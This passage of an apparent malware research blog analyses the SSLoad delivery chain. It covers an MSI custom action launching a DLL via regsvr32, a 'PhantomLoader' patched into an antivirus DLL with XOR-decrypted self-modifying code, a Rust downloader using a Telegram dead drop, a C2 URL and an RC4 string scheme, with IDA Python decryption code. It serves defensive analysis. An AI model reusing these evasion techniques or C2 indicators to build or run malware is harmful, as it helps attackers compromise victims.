&lt;h2&gt;MSI Installer&lt;span class="hx:absolute hx:-mt-20" id="msi-installer"&gt;&lt;/span&gt;
&lt;a href="#msi-installer" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We began our analysis by dissecting the MSI file identified in one of the
campaigns. This installer initiates a delivery chain comprising several
loaders, ultimately deploying the final payload.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2024/06/ssload-technical-malware-analysis/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;SHA256:
&lt;a href="https://analyze.intezer.com/files/90f1511223698f33a086337a6875db3b5d6fbcce06f3195cdd6a8efa90091750?utm_campaign=research-blog&amp;amp;utm_content=ssload-technical-malware-analysis&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;&lt;code&gt;90f1511223698f33a086337a6875db3b5d6fbcce06f3195cdd6a8efa90091750&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Using &lt;a href="https://github.com/GNOME/msitools"target="_blank" rel="noopener"&gt;msitools&lt;/a&gt;, we can determine what
actions the installer will execute:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;❯ msiinfo export 90f1511223698f33a086337a6875db3b5d6fbcce06f3195cdd6a8efa90091750.sample CustomAction
[...]
SET_APPDIR 307 APPDIR [AppDataFolder][Manufacturer][ProductName]
LaunchFile 1026 viewer.exe C:\Windows\System32\regsvr32.exe /S [LocalAppDataFolder]sharepointMenuEx.dll&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h2&gt;The Loader: PhantomLoader&lt;span class="hx:absolute hx:-mt-20" id="the-loader-phantomloader"&gt;&lt;/span&gt;
&lt;a href="#the-loader-phantomloader" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The initial loader is a 32-bit DLL written in C/C++, serving as the first-stage
loader. We named it &amp;ldquo;PhantomLoader&amp;rdquo; to emphasize its elusive and stealthy
behavior. The loader is added to a legitimate DLL, usually EDR or AV products,
by binary patching the file and employing self-modifying techniques to evade
detection. This loader has not been reported or documented previously.&lt;/p&gt;
&lt;p&gt;Analysis of its metadata reveals that the PhantomLoader attempts to disguise
itself as a legitimate DLL named &lt;code&gt;MenuEx.dll&lt;/code&gt;, associated with 360 Total
Security, a Chinese antivirus program. Additionally, we discovered a PDB path
in the metadata: &lt;code&gt;C:\vmagent_new\bin\joblist\500965\out\Release\MenuEx.pdb&lt;/code&gt;. The
loader also shares code with the antivirus software and retains remnants of a
digital signature, as shown by Intezer&amp;rsquo;s analysis.&lt;/p&gt;
&lt;p&gt;SHA256:
&lt;a href="https://analyze.intezer.com/files/09ffc4188bf11bf059b616491fcb8a09a474901581f46ec7f2c350fbda4e1e1c?utm_campaign=research-blog&amp;amp;utm_content=ssload-technical-malware-analysis&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;&lt;code&gt;09ffc4188bf11bf059b616491fcb8a09a474901581f46ec7f2c350fbda4e1e1c&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/06/ssload-technical-malware-analysis/images/fig2.png" title="String and Code reuse between the loader and 360 Total Security." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;String and Code reuse between the loader and 360 Total Security.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/06/ssload-technical-malware-analysis/images/fig3.png" title="File metadata." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;File metadata.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The payload is stored encrypted in the resource section, which exhibits a high
entropy level, as shown in the screenshot below.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/06/ssload-technical-malware-analysis/images/fig4.png" title="The sections of the PhantomLoader." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;The sections of the PhantomLoader.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Phantom Loader is a self-modifying loader. It first decrypts the stub function,
which then extracts the payload from the resource section. The screenshot above
shows that the &lt;code&gt;.text&lt;/code&gt; section has RWX permissions, which is uncommon. However,
since the loader is self-modifying, this explains the unusual permissions.&lt;/p&gt;
&lt;p&gt;The decoding logic employs an XOR decryption method. Each byte of the encrypted
code at a specified address is XORed with a corresponding byte from a
predefined encryption key. The key repeats cyclically if the code&amp;rsquo;s length
exceeds the key&amp;rsquo;s length.&lt;/p&gt;
&lt;p&gt;The XOR key is a stack string with the following value:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;71 21 2a 43 74 52 4f 42 65 6a 6c 64 57 46 37 45 33 40 31 4c 69 79 55 53 00&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Below is an IDA Python script that modifies the code based on the logic
described above:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;ida_bytes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;ida_auto&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;decode_code&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;start_addr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key_hex&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="c1"&gt;# Convert the hex key string into a byte array&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;key_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytearray&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fromhex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key_hex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="c1"&gt;# Read the current encrypted data from the IDB&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;encrypted_data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ida_bytes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;start_addr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="c1"&gt;# Create a bytearray for the encrypted data to perform mutable operations&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;encrypted_data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytearray&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encrypted_data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;key_length&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key_bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="c1"&gt;# Perform the XOR decryption&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;        &lt;span class="n"&gt;encrypted_data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^=&lt;/span&gt; &lt;span class="n"&gt;key_bytes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;key_length&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="c1"&gt;# Write the decrypted data back to the IDB&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="c1"&gt;# Convert bytearray back to bytes since patch_bytes expects a &amp;#39;bytes&amp;#39; type&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;ida_bytes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;patch_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;start_addr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encrypted_data&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="c1"&gt;# Optionally, inform IDA to reanalyze modified areas to reflect changes in disassembly&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;ida_auto&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;auto_make_code&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;start_addr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;ida_auto&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;auto_wait&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Constants&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;encryption_key_hex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;71212a4374524f42656a6c64574637453340314c6979555300&amp;#34;&lt;/span&gt;  &lt;span class="c1"&gt;# The decryption key in hex&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;code_region_length&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x76C&lt;/span&gt;  &lt;span class="c1"&gt;# Length of the code region&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;start_address&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x1000AF77&lt;/span&gt;  &lt;span class="c1"&gt;# Starting address of the encrypted code&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Decode the encrypted code region&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;decode_code&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;start_address&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;code_region_length&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encryption_key_hex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Decryption complete. The code region has been updated.&amp;#34;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Once the code is decrypted, the instruction pointer (EIP) will point to the
first instruction. The stub then implements the same XOR decryption using the
same key to extract the encoded payload from the resource section. After
decoding the payload, the stub loads and executes it. This payload is another
loader.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/06/ssload-technical-malware-analysis/images/fig5.png" title="Encoded resource." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Encoded resource.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Another version of the loader, observed in the attack that uses the decoy
document, follows the same logic but employs a different XOR key:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;25 5e 47 51 4d 4a 42 44 77 42 64 58 4c 41 46 57 75 28 21 46 61 67 32 24 34 46 47 00&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;SHA256:
&lt;a href="https://analyze.intezer.com/files/73774861d946d62c2105fef4718683796cb77de7ed42edaec7affcee5eb0a0ee?utm_campaign=research-blog&amp;amp;utm_content=ssload-technical-malware-analysis&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;&lt;code&gt;73774861d946d62c2105fef4718683796cb77de7ed42edaec7affcee5eb0a0ee&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;Second Stage of The Phantom Loader&lt;span class="hx:absolute hx:-mt-20" id="second-stage-of-the-phantom-loader"&gt;&lt;/span&gt;
&lt;a href="#second-stage-of-the-phantom-loader" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The second stage of the Phantom Loader is a small, simple 32-bit DLL written in
C/C++. It loads the payload and sets the entry point to the
&lt;code&gt;DllRegisterServer&lt;/code&gt; function.&lt;/p&gt;
&lt;p&gt;SHA256:
&lt;a href="https://analyze.intezer.com/files/09ffc4188bf11bf059b616491fcb8a09a474901581f46ec7f2c350fbda4e1e1c/sub/3bb8aaec-62fa-46f2-a616-0235bb406ec2?utm_campaign=research-blog&amp;amp;utm_content=ssload-technical-malware-analysis&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;&lt;code&gt;6aa3daefee979a0efbd30de15a1fc7c0d05a6e8e3f439d5af3982878c3901a1c&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2024/06/ssload-technical-malware-analysis/images/fig6.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;SSLoad: The Downloader&lt;span class="hx:absolute hx:-mt-20" id="ssload-the-downloader"&gt;&lt;/span&gt;
&lt;a href="#ssload-the-downloader" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The payload is a 32-bit DLL written in Rust, identified as SSLoad. This stage
has not been documented in previous blogs, indicating it might be an additional
step in the delivery chain. Key strings, such as the user agent and domains,
are encrypted using a unique algorithm.&lt;/p&gt;
&lt;p&gt;SHA256:
&lt;a href="https://analyze.intezer.com/files/265514c8b91b96062fd2960d52ee09d67ea081c56ebadd7a8661f479124133e9?utm_campaign=research-blog&amp;amp;utm_content=ssload-technical-malware-analysis&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;&lt;code&gt;265514c8b91b96062fd2960d52ee09d67ea081c56ebadd7a8661f479124133e9&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This SSLoad variant begins by decrypting a URL and a user agent. The URL
directs to a Telegram channel named SSLoad, which serves as a dead-drop site,
as shown in the screenshot below. This channel contains another encrypted
string that indicates the Command-and-Control (C2) server responsible for
delivering the final payload.&lt;/p&gt;
&lt;p&gt;The variant we have analyzed uses the following address with the corresponding
user agent.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;https://t[.]me/+st2YadnCIU1iNmQy&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/06/ssload-technical-malware-analysis/images/fig7.png" title="SSLoad Telegram channel." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;SSLoad Telegram channel.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The Telegram channel is used as a dead drop host.&lt;/p&gt;
&lt;p&gt;Once the C2 address is decrypted, the malware decrypts another user agent
string, &lt;code&gt;SSLoad/1.1&lt;/code&gt;, and the string &lt;code&gt;/api/g&lt;/code&gt;. This string is appended to the
C2 address, forming the URL &lt;code&gt;http://85[.]239.53.219/api/g&lt;/code&gt;. The malware then
sends an HTTP GET request to this URL to retrieve the next payload from the C2
server.&lt;/p&gt;
&lt;h3&gt;String Decoding&lt;span class="hx:absolute hx:-mt-20" id="string-decoding"&gt;&lt;/span&gt;
&lt;a href="#string-decoding" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;This SSLoad variant employs a custom and unique method to decrypt strings,
utilizing the standard RC4 algorithm. Notably, each string is encrypted with
its own distinct key, which is stored alongside the encrypted string.&lt;/p&gt;
&lt;p&gt;We&amp;rsquo;ll use the first string as an example to explain the decryption logic. The
blob below contains both the encrypted string and the RC4 key.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;uTjvTPJayj/5Af1pr&amp;#43;qBtvkwh9KKDV2mKF0C&amp;#43;7lBoOJHnmLwZJzKE&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Converted to hexadecimal:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;75 54 6A 76 54 50 4A 61 79 6A 2F 35 41 66 31 70 72 2B 71 42 74 76 6B 77 68 39 4B 4B 44 56 32 6D 4B 46 30 43 2B 37 6C 42 6F 4F 4A 48 6E 6D 4C 77 5A 4A 7A 4B 45&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The decryption key for each string is composed of the first 6 bytes of the
encoded string concatenated with the last 7 bytes. For the given example, the
key is:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;75 54 6A 76 54 50 4C 77 5A 4A 7A 4B 45&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The remaining part of the blob (from the 7th byte up to the length of the blob
minus 7 bytes) is processed by a custom function that calculates the length of
the encrypted string using the following logic:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
